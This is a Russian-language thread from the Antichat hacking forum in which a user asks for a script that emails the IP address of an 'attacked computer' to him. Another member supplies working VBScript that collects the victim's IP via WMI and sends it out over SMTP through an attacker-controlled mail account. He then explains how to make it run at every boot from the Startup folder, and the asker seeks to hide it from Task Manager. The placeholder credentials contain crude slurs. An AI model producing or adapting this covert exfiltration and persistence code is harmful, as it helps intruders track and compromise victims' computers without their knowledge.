HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Подскажите как написать батник для отправки ip на электронную почту
   
Ответ
Страница 1 из 6 1 2 3 4 5 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.12.2016, 08:20
kurt135
Познающий
Регистрация: 30.12.2015
Сообщений: 34
Провел на форуме:
6373

Репутация: 0
По умолчанию
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.
 
Ответить с цитированием

  #2  
Старый 21.12.2016, 09:38
kacergei
Новичок
Регистрация: 26.05.2007
Сообщений: 8
Провел на форуме:
23906

Репутация: -5
По умолчанию
Цитата:
Сообщение от kurt135  
↑
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.
Тут вопрос через чего твой батник будет отправлять на почту?) Например у "жертвы" не настроен OutLook
 
Ответить с цитированием

  #3  
Старый 21.12.2016, 09:59
ComradKraken
Познающий
Регистрация: 15.12.2016
Сообщений: 46
Провел на форуме:
15133

Репутация: 3
По умолчанию
лучше на VBS запилить MAPI скриптег отправки
 
Ответить с цитированием

  #4  
Старый 21.12.2016, 10:15
kurt135
Познающий
Регистрация: 30.12.2015
Сообщений: 34
Провел на форуме:
6373

Репутация: 0
По умолчанию
ComradKraken: Можно подробнее о сием действии .
 
Ответить с цитированием

  #5  
Старый 22.12.2016, 05:29
ComradKraken
Познающий
Регистрация: 15.12.2016
Сообщений: 46
Провел на форуме:
15133

Репутация: 3
По умолчанию
как бы так:

Код:
Set emailObj    = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2 
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60     

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = "tut_pochta_otkuda_send@mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = "tut_tvoy_parol"

emailObj.From     = "tut_pochta_otkuda_send@mail.ru"
emailObj.To       = "tut_pochta_kuda_send@mail.ru"

emailObj.Subject  = "Tsdfsfsf"
emailObj.TextBody = "fffasdasdasd"

emailConfig.Fields.Update

emailObj.Send
 
Ответить с цитированием

  #6  
Старый 22.12.2016, 12:56
kurt135
Познающий
Регистрация: 30.12.2015
Сообщений: 34
Провел на форуме:
6373

Репутация: 0
По умолчанию
ComradKraken: Спасибо за текст батника . Можно только уточнить Что вообще написано в этом тексте (коде ) ? В смыслы ip жерты будет отправляться при каждым включении компьютера ? Какая почта лучше работает с данным кодом (yandex.ru,google) ? Дополнительного по не нужно к данному коду ?
 
Ответить с цитированием

  #7  
Старый 22.12.2016, 14:28
kurt135
Познающий
Регистрация: 30.12.2015
Сообщений: 34
Провел на форуме:
6373

Репутация: 0
По умолчанию
Вы уж прости новичка Я не совсем в теме А что это ? Это разве код не для батника ?? Код для VBS ?
 
Ответить с цитированием

  #8  
Старый 22.12.2016, 15:23
ComradKraken
Познающий
Регистрация: 15.12.2016
Сообщений: 46
Провел на форуме:
15133

Репутация: 3
По умолчанию
нет, эт был пример для отправки мыла без всяких outlookов с левого ящика,

ладно

сначала заведи почту с которой отправка будет идти( в этом примере скрипт настроен на отправку из "@mail.ru)

вот это сохранять в *.vbs :

Код:
Dim myIPAddress : myIPAddress = ""
Dim objWMIService : Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Dim colAdapters : Set colAdapters = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
Dim objAdapter

For Each objAdapter in colAdapters
  If Not IsNull(objAdapter.IPAddress) Then myIPAddress = trim(objAdapter.IPAddress(0))
  exit for
Next

Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"     '  сюда адрес почты куда получать ип собрался

Set emailObj      = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration
'Set emailConfig  = CreateObject("CDO.Configuration")

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120 

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd

emailObj.From     = RemoteSenderBoxName
emailObj.To       = MailReceiver

emailObj.Subject  = "ip addr"
emailObj.TextBody = myIPAddress

emailConfig.Fields.Update

emailObj.Send
этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]

Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку

c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
 
Ответить с цитированием

  #9  
Старый 22.12.2016, 17:22
kurt135
Познающий
Регистрация: 30.12.2015
Сообщений: 34
Провел на форуме:
6373

Репутация: 0
По умолчанию
ComradKraken: Огромейшое спасибо !!! Не хочу показаться наглым возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?
 
Ответить с цитированием

  #10  
Старый 22.12.2016, 17:25
ComradKraken
Познающий
Регистрация: 15.12.2016
Сообщений: 46
Провел на форуме:
15133

Репутация: 3
По умолчанию
не за что

дочитай прошлое сообщение до конца, там указано что сделать чтобы

Цитата:
Сообщение от kurt135  
↑
ComradKraken
: Огромейшое спасибо !!! Не хочу показаться наглым
возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?
 
Ответить с цитированием
𝕏 Twitter Reddit Telegram Копировать ссылку
Ответ
Страница 1 из 6 1 2 3 4 5 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.